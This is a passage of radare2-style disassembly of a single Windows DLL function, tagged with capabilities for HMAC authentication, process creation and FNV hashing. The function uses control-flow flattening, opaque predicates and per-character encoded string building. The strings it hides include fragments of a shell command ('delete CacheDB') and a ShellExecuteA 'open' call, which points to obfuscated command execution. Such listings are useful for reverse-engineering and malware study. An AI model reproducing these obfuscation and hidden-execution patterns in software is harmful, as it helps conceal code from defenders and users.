Function at 0x180074c40
Capabilities:
Authenticate hmac
Create process on windows
Hash data using fnv

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x1298
call fcn.1800fab80
sub rsp, rax
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x1200], xmm6
mov qword [rbp + 0x58], rcx
mov rax, qword [0x180128a08]
xor rax, rbp
mov qword [rbp + 0x11f8], rax
movabs r11, 0xcbf29ce484222325
mov eax, 0xfa333eae
xorps xmm6, xmm6
lea r14, [rbp + 0x9b8]
mov r13d, 0x926a4418
mov r15d, 0xbe73cc8d
mov r12d, 0x8f01ddc2
jmp 0x180074cd0
mov eax, dword [0x180129820]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9424e835
mov ecx, 0xd80afb01
cmove eax, ecx
cmp dword [0x180129824], 0xa
cmovl eax, ecx
cmp eax, 0xebb666e8
jle 0x180075020
cmp eax, 0x24cc3024
jle 0x1800750a0
cmp eax, 0x6875bd30
jle 0x1800751f0
cmp eax, 0x77c28c81
jg 0x180075441
cmp eax, 0x6875bd31
je 0x18007573b
cmp eax, 0x6a1df4c5
jne 0x180074cd0
mov rax, qword [rbp - 0x58]
mov dword [rax], 1
mov rax, qword [rbp + 0x98]
mov word [rax + 0x40], 0
mov rax, qword [rbp + 0x90]
mov rsi, qword [rbp + 0x90]
mov qword [rbp + 0xd8], rsi
mov rax, qword [rbp + 0xd8]
mov word [rax], 0xe4c7
mov rdi, qword [rbp + 0xd8]
sub rsp, 0x20
mov rcx, rsi
mov dx, reloc.WS2_32.dll_WSAStartup
xor r8d, r8d
call fcn.1800989f0
add rsp, 0x20
mov word [rdi + 2], ax
sub rsp, 0x20
mov r8d, 1
mov rcx, rsi
mov dx, 0x63
call fcn.1800989f0
add rsp, 0x20
mov word [rdi + 4], ax
sub rsp, 0x20
mov r8d, 2
mov rcx, rsi
mov dx, 0x20
call fcn.1800989f0
add rsp, 0x20
mov word [rdi + 6], ax
sub rsp, 0x20
mov r8d, 3
mov rcx, rsi
mov dx, 0x64
call fcn.1800989f0
add rsp, 0x20
mov word [rdi + 8], ax
sub rsp, 0x20
mov r8d, 4
mov rcx, rsi
mov dx, 0x65
call fcn.1800989f0
add rsp, 0x20
mov word [rdi + 0xa], ax
add rdi, 0xc
mov qword [rbp + 0xe0], rdi
sub rsp, 0x20
mov r8d, 5
mov rcx, rsi
mov dx, 0x6c
call fcn.1800989f0
add rsp, 0x20
mov rcx, qword [rbp + 0xe0]
mov word [rcx], ax
mov eax, 0x65f21d94
nop word cs:[rax + rax]
nop
cmp eax, 0x65f21d93
jg 0x180074e90
cmp eax, 0xded28006
je 0x180075f78
cmp eax, 0x5abe09f3
jne 0x180074e20
mov rax, qword [rbp + 0xf0]
movzx ecx, word [rbp + 0xc8]
mov word [rax], cx
mov rdi, qword [rbp + 0xf0]
sub rsp, 0x20
mov r8d, 0x10
mov rcx, rsi
mov dx, 0x42
call fcn.1800989f0
add rsp, 0x20
mov word [rdi + 2], ax
add rdi, 4
mov rax, qword [rbp + 0xd8]
add rax, 0x26
mov qword [rbp + 0x9b8], rax
mov eax, 0x7c6f7717
jmp 0x180074e20
cmp eax, 0x7c6f7717
je 0x180074ff1
cmp eax, 0x65f21d94
jne 0x180074e20
mov rbx, qword [rbp + 0xe0]
sub rsp, 0x20
mov r8d, 6
mov rcx, rsi
mov dx, 0x65
call fcn.1800989f0
add rsp, 0x20
mov word [rbx + 2], ax
sub rsp, 0x20
mov r8d, 7
mov rcx, rsi
mov dx, 0x74
call fcn.1800989f0
add rsp, 0x20
mov word [rbx + 4], ax
sub rsp, 0x20
mov r8d, 8
mov rcx, rsi
mov dx, 0x65
call fcn.1800989f0
add rsp, 0x20
mov word [rbx + 6], ax
sub rsp, 0x20
mov r8d, 9
mov rcx, rsi
mov dx, 0x20
call fcn.1800989f0
add rsp, 0x20
mov word [rbx + 8], ax
sub rsp, 0x20
mov r8d, 0xa
mov rcx, rsi
mov dx, 0x43
call fcn.1800989f0
add rsp, 0x20
mov word [rbx + 0xa], ax
sub rsp, 0x20
mov r8d, reloc.WS2_32.dll_inet_addr
mov rcx, rsi
mov dx, 0x61
call fcn.1800989f0
add rsp, 0x20
mov word [rbx + 0xc], ax
sub rsp, 0x20
mov r8d, 0xc
mov rcx, rsi
mov dx, 0x63
call fcn.1800989f0
add rsp, 0x20
mov word [rbx + 0xe], ax
sub rsp, 0x20
mov r8d, 0xd
mov rcx, rsi
mov dx, 0x68
call fcn.1800989f0
add rsp, 0x20
mov word [rbx + 0x10], ax
sub rsp, 0x20
mov r8d, 0xe
mov rcx, rsi
mov dx, 0x65
call fcn.1800989f0
add rsp, 0x20
mov word [rbx + 0x12], ax
add rbx, 0x14
mov qword [rbp + 0xf0], rbx
sub rsp, 0x20
mov r8d, 0xf
mov rcx, rsi
mov dx, 0x44
call fcn.1800989f0
add rsp, 0x20
mov word [rbp + 0xc8], ax
mov eax, 0x5abe09f3
jmp 0x180074e20
mov word [rdi], 0
add rdi, 2
cmp rdi, qword [rbp + 0x9b8]
mov eax, 0x7c6f7717
mov ecx, 0xded28006
cmove eax, ecx
jmp 0x180074e20
cmp eax, 0xc0176fa6
jg 0x1800751a0
cmp eax, 0x9ce11c44
jle 0x180075330
cmp eax, 0xa9ed35cf
jg 0x18007549a
cmp eax, 0x9ce11c45
je 0x18007609b
cmp eax, 0xa7d22fe2
jne 0x180074cd0
mov qword [rbp + 0xa8], r14
mov rax, qword [rbp + 0xa8]
mov byte [rax], 0x37
mov r9, qword [rbp + 0xa8]
mov ecx, 0x8c53169d
nop word cs:[rax + rax]
nop
cmp ecx, 0x8c53169d
je 0x180075095
cmp ecx, 0x71319a28
jne 0x180075080
jmp 0x18007629b
mov ecx, 0x71319a28
jmp 0x180075080
cmp eax, 0xfa333ead
jle 0x180075382
cmp eax, 0x78a247e
jg 0x1800754c9
cmp eax, 0xfa333eae
je 0x180074caa
cmp eax, 0x7356c84
jne 0x180074cd0
mov rax, qword [rbp + 0x60]
mov qword [rbp + 0x20], rax
mov rax, qword [rbp + 0x20]
mov rcx, qword [rbp + 0x20]
sub rsp, 0x20
mov r8d, 0x800
xor edx, edx
call fcn.1800fcb10
add rsp, 0x20
mov rax, qword [rbp - 0x68]
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov rcx, qword [rbp + 0x18]
sub rsp, 0x20
mov r8d, 0x800
xor edx, edx
call fcn.1800fcb10
movabs r11, 0xcbf29ce484222325
add rsp, 0x20
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov rax, qword [rbp + 0x10]
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
mov rax, qword [rbp + 0x98]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov rax, qword [rbp + 8]
movups xmmword [rax], xmm6
movups xmmword [rax + 0x10], xmm6
movups xmmword [rax + 0x20], xmm6
movups xmmword [rax + 0x30], xmm6
movups xmmword [rax + 0x40], xmm6
movups xmmword [rax + 0x50], xmm6
mov qword [rax + 0x60], 0
mov rax, qword [rbp + 0x98]
mov dword [rax], 0x68
mov rax, qword [rbp + 0x98]
add rax, 0x3c
mov qword [rbp - 0x58], rax
mov eax, 0x19c7a3fc
jmp 0x180074cd0
cmp eax, 0xd80afb00
jle 0x180075416
cmp eax, 0xe3b1a3b4
jg 0x180075516
cmp eax, 0xd80afb01
je 0x180076354
cmp eax, 0xdd99aa2c
jne 0x180074cd0
lea rax, [rbp + 0x100]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
lea rax, [rbp + 0x9a8]
mov qword [rbp - 0x18], rax
mov eax, 0xc0176fa7
jmp 0x180074cd0
cmp eax, 0x2aed2dd3
jle 0x180075536
cmp eax, 0x2aed2dd4
je 0x180076569
cmp eax, 0x5f08f407
jne 0x180074cd0
mov dword [rbp + 0x9b8], 0x52
mov r9d, dword [0x180129c88]
mov r8d, dword [0x180129c8c]
lea eax, [r9 - 1]
imul eax, r9d
and eax, 1
mov edx, 0x1b714e29
mov r11d, 0x615460a9
cmove edx, r11d
sete cl
cmp r8d, 0xa
cmovl edx, r11d
setl bl
xor al, bl
and cl, bl
xor cl, al
mov r10d, 0x7b913b8f
mov eax, 0x1b714e29
cmovne r10d, eax
mov ebx, 0x1e41b6af
nop dword [rax + rax]
cmp ebx, 0x615460a8
jle 0x1800752c0
cmp ebx, 0x7b913b8f
je 0x1800752d4
cmp ebx, 0x713d3d7d
je 0x1800765bc
cmp ebx, 0x615460a9
jne 0x180075270
mov eax, 0x9210f659
nop dword [rax]
cmp eax, 0x9210f659
je 0x1800752b0
cmp eax, 0x8c3c334e
jne 0x1800752a0
jmp 0x1800752db
mov eax, 0x8c3c334e
jmp 0x1800752a0
cmp ebx, 0x1b714e29
je 0x1800752ed
cmp ebx, 0x1e41b6af
jne 0x180075270
mov ebx, edx
jmp 0x180075270
mov ebx, 0x713d3d7d
jmp 0x180075270
mov byte [rbp + 0xf0], 9
mov al, byte [rbp + 0xf0]
mov ebx, r10d
jmp 0x180075270
mov ecx, 0x9210f659
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x9210f659
je 0x180075312
cmp ecx, 0x8c3c334e
jne 0x180075300
jmp 0x180075319
mov ecx, 0x8c3c334e
jmp 0x180075300
mov byte [rbp + 0xf0], 9
mov cl, byte [rbp + 0xf0]
mov ebx, 0x615460a9
jmp 0x180075270
cmp eax, 0x867214ed
je 0x1800766b0
cmp eax, 0x9424e835
je 0x180076ae1
cmp eax, 0x9ad2b198
jne 0x180074cd0
cmp qword [rbp + 0x100], 0
mov eax, 0x7356c84
mov ecx, 0xf4d96a62
cmovne eax, ecx
cmp byte [rbp + 0xa2], 0
mov rcx, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x18]
mov ecx, 0x7356c84
cmove eax, ecx
jmp 0x180074cd0
cmp eax, 0xebb666e9
je 0x180076bf9
cmp eax, 0xf3f356a7
je 0x180076c03
cmp eax, 0xf4d96a62
jne 0x180074cd0
lea rax, [rbp + 0x140]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x28]
sub rsp, 0x20
mov r8d, 0x800
xor edx, edx
call fcn.1800fcb10
movabs r11, 0xcbf29ce484222325
add rsp, 0x20
lea rax, [rbp + 0xfc]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
lea rax, [rbp + 0xf8]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x30]
mov dword [rbp + 0xf8], 1
lea rax, [rbp + 0x128]
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov eax, 0x5f08f407
jmp 0x180074cd0
cmp eax, 0xc0176fa7
je 0x1800771d9
cmp eax, 0xd18207ad
je 0x180077269
cmp eax, 0xd5c86b14
jne 0x180074cd0
mov eax, 0xa9ed35d0
jmp 0x180074cd0
cmp eax, 0x77c28c82
je 0x180077291
cmp eax, 0x7fae58be
jne 0x180074cd0
mov r8, qword [rbp + 0x50]
sub rsp, 0x30
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor ecx, ecx
lea rdx, str.open
xor r9d, r9d
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movabs r11, 0xcbf29ce484222325
add rsp, 0x30
mov eax, 0xdd99aa2c
jmp 0x180074cd0
cmp eax, 0xa9ed35d0
je 0x1800772ca
cmp eax, 0xbf712557
jne 0x180074cd0
cmp byte [rbp + 0xa1], 0
mov eax, 0x6875bd31
mov ecx, 0xe3b1a3b5
cmovne eax, ecx
jmp 0x180074cd0
cmp eax, 0x78a247f
je 0x1800776e9
cmp eax, 0x19c7a3fc
jne 0x180074cd0
mov eax, dword [0x180129820]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x180129824], 0xa
setl cl
setge dl
xor dl, al
and cl, al
xor cl, dl
mov eax, 0x6a1df4c5
mov ecx, 0x78a247f
cmovne eax, ecx
jmp 0x180074cd0
cmp eax, 0xe3b1a3b5
je 0x1800779e3
cmp eax, 0xe75d7669
jne 0x180074cd0
mov eax, 0x24cc3025
jmp 0x180074cd0
cmp eax, 0x25c7327a
jne 0x180089778
mov rax, qword [rbp + 0x68]
mov rsi, qword [rbp + 0x68]
mov qword [rbp + 0xd8], rsi
mov rax, qword [rbp + 0xd8]
mov byte [rax], 0x7b
mov rdi, qword [rbp + 0xd8]
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x52
call fcn.1800988b0
add rsp, 0x20
mov byte [rdi + 1], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x65
call fcn.1800988b0
add rsp, 0x20
mov byte [rdi + 2], al
add rdi, 3
mov qword [rbp + 0xe0], rdi
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x67
call fcn.1800988b0
movabs r11, 0xcbf29ce484222325
add rsp, 0x20
mov byte [rbp + 0xb0], al
mov eax, 0xb545a8c5
nop dword [rax]
cmp eax, 0xb8deccc4
jg 0x180075660
cmp eax, 0xa619dca0
je 0x180075696
cmp eax, 0xb545a8c5
jne 0x1800755c0
mov rax, qword [rbp + 0xe0]
movzx ecx, byte [rbp + 0xb0]
mov byte [rax], cl
mov rbx, qword [rbp + 0xe0]
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x43
call fcn.1800988b0
add rsp, 0x20
mov byte [rbx + 1], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x6c
call fcn.1800988b0
add rsp, 0x20
mov byte [rbx + 2], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x6f
call fcn.1800988b0
movabs r11, 0xcbf29ce484222325
add rsp, 0x20
mov byte [rbx + 3], al
add rbx, 4
mov qword [rbp + 0xf0], rbx
mov byte [rbp + 0xc8], reloc.WS2_32.dll_WSAStartup
mov eax, 0xa619dca0
jmp 0x1800755c0
cmp eax, 0xb8deccc5
je 0x180077a26
cmp eax, 0xb9b16fe5
jne 0x1800755c0
mov byte [rdi], 0
add rdi, 1
cmp rdi, qword [rbp + 0x9b8]
mov eax, 0xb9b16fe5
mov ecx, 0xb8deccc5
cmove eax, ecx
jmp 0x1800755c0
movzx edx, byte [rbp + 0xc8]
sub rsp, 0x20
mov rcx, rsi
call fcn.1800988b0
add rsp, 0x20
mov rcx, qword [rbp + 0xf0]
mov byte [rcx], al
mov rdi, qword [rbp + 0xf0]
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x65
call fcn.1800988b0
add rsp, 0x20
mov byte [rdi + 1], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x4b
call fcn.1800988b0
add rsp, 0x20
mov byte [rdi + 2], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x65
call fcn.1800988b0
add rsp, 0x20
mov byte [rdi + 3], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x79
call fcn.1800988b0
movabs r11, 0xcbf29ce484222325
add rsp, 0x20
mov byte [rdi + 4], al
add rdi, 5
mov rax, qword [rbp + 0xd8]
add rax, 0xd
mov qword [rbp + 0x9b8], rax
mov eax, 0xb9b16fe5
jmp 0x1800755c0
lea rcx, [rbp + 0x110]
mov qword [rbp - 0x40], rcx
mov rax, qword [rbp - 0x40]
mov qword [rbp + 0xf0], rcx
mov eax, 0x3676ec1e
mov r8d, 0x91c44eb1
mov r9d, 0xfa630b3d
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0xbe107708
je 0x180077a30
cmp eax, 0x3676ec1e
jne 0x180075770
mov rsi, qword [rbp + 0xf0]
mov ecx, dword [0x180129c90]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
mov ebx, 0xfa630b3d
cmove ebx, r8d
cmp dword [0x180129c94], 0xa
setl dl
cmovl ebx, r8d
setge al
xor al, cl
and dl, cl
xor dl, al
mov edx, 0xb9fa49fa
cmovne edx, r9d
mov ecx, 0x21a21833
nop dword [rax]
cmp ecx, 0xfa630b3c
jle 0x180075800
cmp ecx, 0xfa630b3d
je 0x180075814
cmp ecx, 0x21a21833
je 0x18007581b
cmp ecx, 0x180fafe8
jne 0x1800757d0
mov ecx, edx
jmp 0x1800757d0
cmp ecx, 0x91c44eb1
je 0x180075822
cmp ecx, 0xb9fa49fa
jne 0x1800757d0
mov ecx, ebx
jmp 0x1800757d0
mov ecx, 0xb9fa49fa
jmp 0x1800757d0
mov ecx, 0x180fafe8
jmp 0x1800757d0
mov byte [rbp + 0xe0], reloc.WS2_32.dll_inet_addr
movsx eax, byte [rbp + 0xe0]
add eax, 0x52
mov dword [rbp + 0xe0], eax
mov edx, 0xccf8862c
nop
cmp edx, 0x3226a3c6
je 0x18007585d
cmp edx, 0xccf8862c
jne 0x180075840
mov ecx, dword [rbp + 0xe0]
mov edx, 0x3226a3c6
jmp 0x180075840
mov byte [rbp + 0xd8], cl
mov al, byte [rbp + 0xd8]
mov byte [rsi], al
mov eax, dword [0x180129c90]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
mov ebx, 0xfa630b3d
cmove ebx, r8d
cmp dword [0x180129c94], 0xa
setl cl
cmovl ebx, r8d
setge dl
xor dl, al
and cl, al
xor cl, dl
mov edx, 0xb9fa49fa
cmovne edx, r9d
mov ecx, 0x21a21833
nop dword [rax + rax]
cmp ecx, 0xfa630b3c
jle 0x1800758e0
cmp ecx, 0xfa630b3d
je 0x1800758f4
cmp ecx, 0x21a21833
je 0x1800758fb
cmp ecx, 0x180fafe8
jne 0x1800758b0
mov ecx, edx
jmp 0x1800758b0
cmp ecx, 0x91c44eb1
je 0x180075902
cmp ecx, 0xb9fa49fa
jne 0x1800758b0
mov ecx, ebx
jmp 0x1800758b0
mov ecx, 0xb9fa49fa
jmp 0x1800758b0
mov ecx, 0x180fafe8
jmp 0x1800758b0
mov byte [rbp + 0xe0], reloc.WS2_32.dll_inet_addr
movsx eax, byte [rbp + 0xe0]
add eax, 0x65
mov dword [rbp + 0xe0], eax
mov edx, 0xccf8862c
nop
cmp edx, 0x3226a3c6
je 0x18007593d
cmp edx, 0xccf8862c
jne 0x180075920
mov ecx, dword [rbp + 0xe0]
mov edx, 0x3226a3c6
jmp 0x180075920
mov byte [rbp + 0xd8], cl
mov al, byte [rbp + 0xd8]
mov byte [rsi + 1], al
mov eax, dword [0x180129c90]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
mov ebx, 0xfa630b3d
cmove ebx, r8d
cmp dword [0x180129c94], 0xa
setl cl
cmovl ebx, r8d
setge dl
xor dl, al
and cl, al
xor cl, dl
mov edx, 0xb9fa49fa
cmovne edx, r9d
mov ecx, 0x21a21833
nop dword [rax]
cmp ecx, 0xfa630b3c
jle 0x1800759c0
cmp ecx, 0xfa630b3d
je 0x1800759d4
cmp ecx, 0x21a21833
je 0x1800759db
cmp ecx, 0x180fafe8
jne 0x180075990
mov ecx, edx
jmp 0x180075990
cmp ecx, 0x91c44eb1
je 0x1800759e2
cmp ecx, 0xb9fa49fa
jne 0x180075990
mov ecx, ebx
jmp 0x180075990
mov ecx, 0xb9fa49fa
jmp 0x180075990
mov ecx, 0x180fafe8
jmp 0x180075990
mov byte [rbp + 0xe0], reloc.WS2_32.dll_inet_addr
movsx eax, byte [rbp + 0xe0]
add eax, 0x67
mov dword [rbp + 0xe0], eax
mov edx, 0xccf8862c
nop
cmp edx, 0x3226a3c6
je 0x180075a1d
cmp edx, 0xccf8862c
jne 0x180075a00
mov ecx, dword [rbp + 0xe0]
mov edx, 0x3226a3c6
jmp 0x180075a00
mov byte [rbp + 0xd8], cl
mov al, byte [rbp + 0xd8]
mov byte [rsi + 2], al
mov eax, dword [0x180129c90]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
mov ebx, 0xfa630b3d
cmove ebx, r8d
cmp dword [0x180129c94], 0xa
setl cl
cmovl ebx, r8d
setge dl
xor dl, al
and cl, al
xor cl, dl
mov edx, 0xb9fa49fa
cmovne edx, r9d
mov ecx, 0x21a21833
nop dword [rax]
cmp ecx, 0xfa630b3c
jle 0x180075aa0
cmp ecx, 0xfa630b3d
je 0x180075ab4
cmp ecx, 0x21a21833
je 0x180075abb
cmp ecx, 0x180fafe8
jne 0x180075a70
mov ecx, edx
jmp 0x180075a70
cmp ecx, 0x91c44eb1
je 0x180075ac2
cmp ecx, 0xb9fa49fa
jne 0x180075a70
mov ecx, ebx
jmp 0x180075a70
mov ecx, 0xb9fa49fa
jmp 0x180075a70
mov ecx, 0x180fafe8
jmp 0x180075a70
mov byte [rbp + 0xe0], reloc.WS2_32.dll_inet_addr
movsx eax, byte [rbp + 0xe0]
add eax, 0x44
mov dword [rbp + 0xe0], eax
mov edx, 0xccf8862c
nop
cmp edx, 0x3226a3c6
je 0x180075afd
cmp edx, 0xccf8862c
jne 0x180075ae0
mov ecx, dword [rbp + 0xe0]
mov edx, 0x3226a3c6
jmp 0x180075ae0
mov byte [rbp + 0xd8], cl
mov al, byte [rbp + 0xd8]
mov byte [rsi + 3], al
mov eax, dword [0x180129c90]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
mov ebx, 0xfa630b3d
cmove ebx, r8d
cmp dword [0x180129c94], 0xa
setl cl
cmovl ebx, r8d
setge dl
xor dl, al
and cl, al
xor cl, dl
mov edx, 0xb9fa49fa
cmovne edx, r9d
mov ecx, 0x21a21833
nop dword [rax]
cmp ecx, 0xfa630b3c
jle 0x180075b80
cmp ecx, 0xfa630b3d
je 0x180075b94
cmp ecx, 0x21a21833
je 0x180075b9b
cmp ecx, 0x180fafe8
jne 0x180075b50
mov ecx, edx
jmp 0x180075b50
cmp ecx, 0x91c44eb1
je 0x180075ba2
cmp ecx, 0xb9fa49fa
jne 0x180075b50
mov ecx, ebx
jmp 0x180075b50
mov ecx, 0xb9fa49fa
jmp 0x180075b50
mov ecx, 0x180fafe8
jmp 0x180075b50
mov byte [rbp + 0xe0], reloc.WS2_32.dll_inet_addr
movsx eax, byte [rbp + 0xe0]
add eax, 0x65
mov dword [rbp + 0xe0], eax
mov edi, 0xccf8862c
nop
cmp edi, 0x3226a3c6
je 0x180075bdd
cmp edi, 0xccf8862c
jne 0x180075bc0
mov ecx, dword [rbp + 0xe0]
mov edi, 0x3226a3c6
jmp 0x180075bc0
mov byte [rbp + 0xd8], cl
mov al, byte [rbp + 0xd8]
mov byte [rsi + 4], al
mov ecx, 0x21a21833
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xfa630b3c
jle 0x180075c30
cmp ecx, 0xfa630b3d
je 0x180075c44
cmp ecx, 0x21a21833
je 0x180075c4b
cmp ecx, 0x180fafe8
jne 0x180075c00
mov ecx, edx
jmp 0x180075c00
cmp ecx, 0x91c44eb1
je 0x180075c52
cmp ecx, 0xb9fa49fa
jne 0x180075c00
mov ecx, ebx
jmp 0x180075c00
mov ecx, 0xb9fa49fa
jmp 0x180075c00
mov ecx, 0x180fafe8
jmp 0x180075c00
mov byte [rbp + 0xe0], reloc.WS2_32.dll_inet_addr
movsx eax, byte [rbp + 0xe0]
add eax, 0x6c
mov dword [rbp + 0xe0], eax
mov edi, 0xccf8862c
nop
cmp edi, 0x3226a3c6
je 0x180075c8d
cmp edi, 0xccf8862c
jne 0x180075c70
mov ecx, dword [rbp + 0xe0]
mov edi, 0x3226a3c6
jmp 0x180075c70
mov byte [rbp + 0xd8], cl
mov al, byte [rbp + 0xd8]
mov byte [rsi + 5], al
mov ecx, 0x21a21833
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xfa630b3c
jle 0x180075ce0
cmp ecx, 0xfa630b3d
je 0x180075cf4
cmp ecx, 0x21a21833
je 0x180075cfb
cmp ecx, 0x180fafe8
jne 0x180075cb0
mov ecx, edx
jmp 0x180075cb0
cmp ecx, 0x91c44eb1
je 0x180075d02
cmp ecx, 0xb9fa49fa
jne 0x180075cb0
mov ecx, ebx
jmp 0x180075cb0
mov ecx, 0xb9fa49fa
jmp 0x180075cb0
mov ecx, 0x180fafe8
jmp 0x180075cb0
mov byte [rbp + 0xe0], reloc.WS2_32.dll_inet_addr
movsx eax, byte [rbp + 0xe0]
add eax, 0x65
mov dword [rbp + 0xe0], eax
mov edi, 0xccf8862c
nop
cmp edi, 0x3226a3c6
je 0x180075d3d
cmp edi, 0xccf8862c
jne 0x180075d20
mov ecx, dword [rbp + 0xe0]
mov edi, 0x3226a3c6
jmp 0x180075d20
mov byte [rbp + 0xd8], cl
mov al, byte [rbp + 0xd8]
mov byte [rsi + 6], al
mov ecx, 0x21a21833
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xfa630b3c
jle 0x180075d90
cmp ecx, 0xfa630b3d
je 0x180075da4
cmp ecx, 0x21a21833
je 0x180075dab
cmp ecx, 0x180fafe8
jne 0x180075d60
mov ecx, edx
jmp 0x180075d60
cmp ecx, 0x91c44eb1
je 0x180075db2
cmp ecx, 0xb9fa49fa
jne 0x180075d60
mov ecx, ebx
jmp 0x180075d60
mov ecx, 0xb9fa49fa
jmp 0x180075d60
mov ecx, 0x180fafe8
jmp 0x180075d60
mov byte [rbp + 0xe0], reloc.WS2_32.dll_inet_addr
movsx eax, byte [rbp + 0xe0]
add eax, 0x74
mov dword [rbp + 0xe0], eax
mov edi, 0xccf8862c
nop
cmp edi, 0x3226a3c6
je 0x180075ded
cmp edi, 0xccf8862c
jne 0x180075dd0
mov ecx, dword [rbp + 0xe0]
mov edi, 0x3226a3c6
jmp 0x180075dd0
mov byte [rbp + 0xd8], cl
mov al, byte [rbp + 0xd8]
mov byte [rsi + 7], al
mov ecx, 0x21a21833
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xfa630b3c
jle 0x180075e40
cmp ecx, 0xfa630b3d
je 0x180075e54
cmp ecx, 0x21a21833
je 0x180075e5b
cmp ecx, 0x180fafe8
jne 0x180075e10
mov ecx, edx
jmp 0x180075e10
cmp ecx, 0x91c44eb1
je 0x180075e62
cmp ecx, 0xb9fa49fa
jne 0x180075e10
mov ecx, ebx
jmp 0x180075e10
mov ecx, 0xb9fa49fa
jmp 0x180075e10
mov ecx, 0x180fafe8
jmp 0x180075e10
mov byte [rbp + 0xe0], reloc.WS2_32.dll_inet_addr
movsx eax, byte [rbp + 0xe0]
add eax, 0x65
mov dword [rbp + 0xe0], eax
mov edi, 0xccf8862c
nop
cmp edi, 0x3226a3c6
je 0x180075e9d
cmp edi, 0xccf8862c
jne 0x180075e80
mov ecx, dword [rbp + 0xe0]
mov edi, 0x3226a3c6
jmp 0x180075e80
mov byte [rbp + 0xd8], cl
mov al, byte [rbp + 0xd8]
mov byte [rsi + 8], al
mov ecx, 0x21a21833
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xfa630b3c
jle 0x180075ef0
cmp ecx, 0xfa630b3d
je 0x180075f04
cmp ecx, 0x21a21833
je 0x180075f0b
cmp ecx, 0x91c44eb1
je 0x180075f12
cmp ecx, 0xb9fa49fa
jne 0x180075ec0
mov ecx, 0xb9fa49fa
jmp 0x180075ec0
mov byte [rbp + 0xe0], reloc.WS2_32.dll_inet_addr
movsx eax, byte [rbp + 0xe0]
add eax, 0x4b
mov dword [rbp + 0xe0], eax
mov edx, 0xccf8862c
nop
cmp edx, 0x3226a3c6
je 0x180075f4d
mov rcx, qword [rbp + 0x90]
sub rsp, 0x20
call fcn.1800954b0
add rsp, 0x20
mov rcx, qword [rbp + 0x60]
sub rsp, 0x20
mov rdx, rax
call fcn.18003e980
add rsp, 0x20
mov rax, qword [rbp + 0x88]
mov rsi, qword [rbp + 0x88]
mov qword [rbp + 0xc8], rsi
mov rax, qword [rbp + 0xc8]
mov byte [rax], 0x2a
mov rdi, qword [rbp + 0xc8]
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x43
call fcn.180098b70
add rsp, 0x20
mov byte [rdi + 1], al
sub rsp, 0x20
mov rcx, rsi
mov dl, WSAStartup
call fcn.180098b70
add rsp, 0x20
mov byte [rdi + 2], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x65
call fcn.180098b70
add rsp, 0x20
mov byte [rdi + 3], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x61
call fcn.180098b70
add rsp, 0x20
mov byte [rdi + 4], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x74
call fcn.180098b70
add rsp, 0x20
mov byte [rdi + 5], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x65
call fcn.180098b70
add rsp, 0x20
mov byte [rdi + 6], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x50
call fcn.180098b70
add rsp, 0x20
mov byte [rdi + 7], al
sub rsp, 0x20
mov rcx, rsi
mov dl, WSAStartup
call fcn.180098b70
add rsp, 0x20
mov byte [rdi + 8], al
add rdi, 9
mov qword [rbp + 0xd8], rdi
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x6f
call fcn.180098b70
add rsp, 0x20
mov byte [rbp + 0xb0], al
mov eax, 0x10e1d1a5
jmp 0x180077b50
mov rax, qword [rbp + 0x68]
mov qword [rbp - 0x50], rax
mov rax, qword [rbp - 0x50]
mov rsi, qword [rbp + 0x68]
mov qword [rbp + 0xd8], rsi
mov rax, qword [rbp + 0xd8]
mov byte [rax], 0x7b
mov rdi, qword [rbp + 0xd8]
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x52
call fcn.1800988b0
add rsp, 0x20
mov byte [rdi + 1], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x65
call fcn.1800988b0
add rsp, 0x20
mov byte [rdi + 2], al
add rdi, 3
mov qword [rbp + 0xe0], rdi
sub rsp, 0x20
mov rcx, rsi
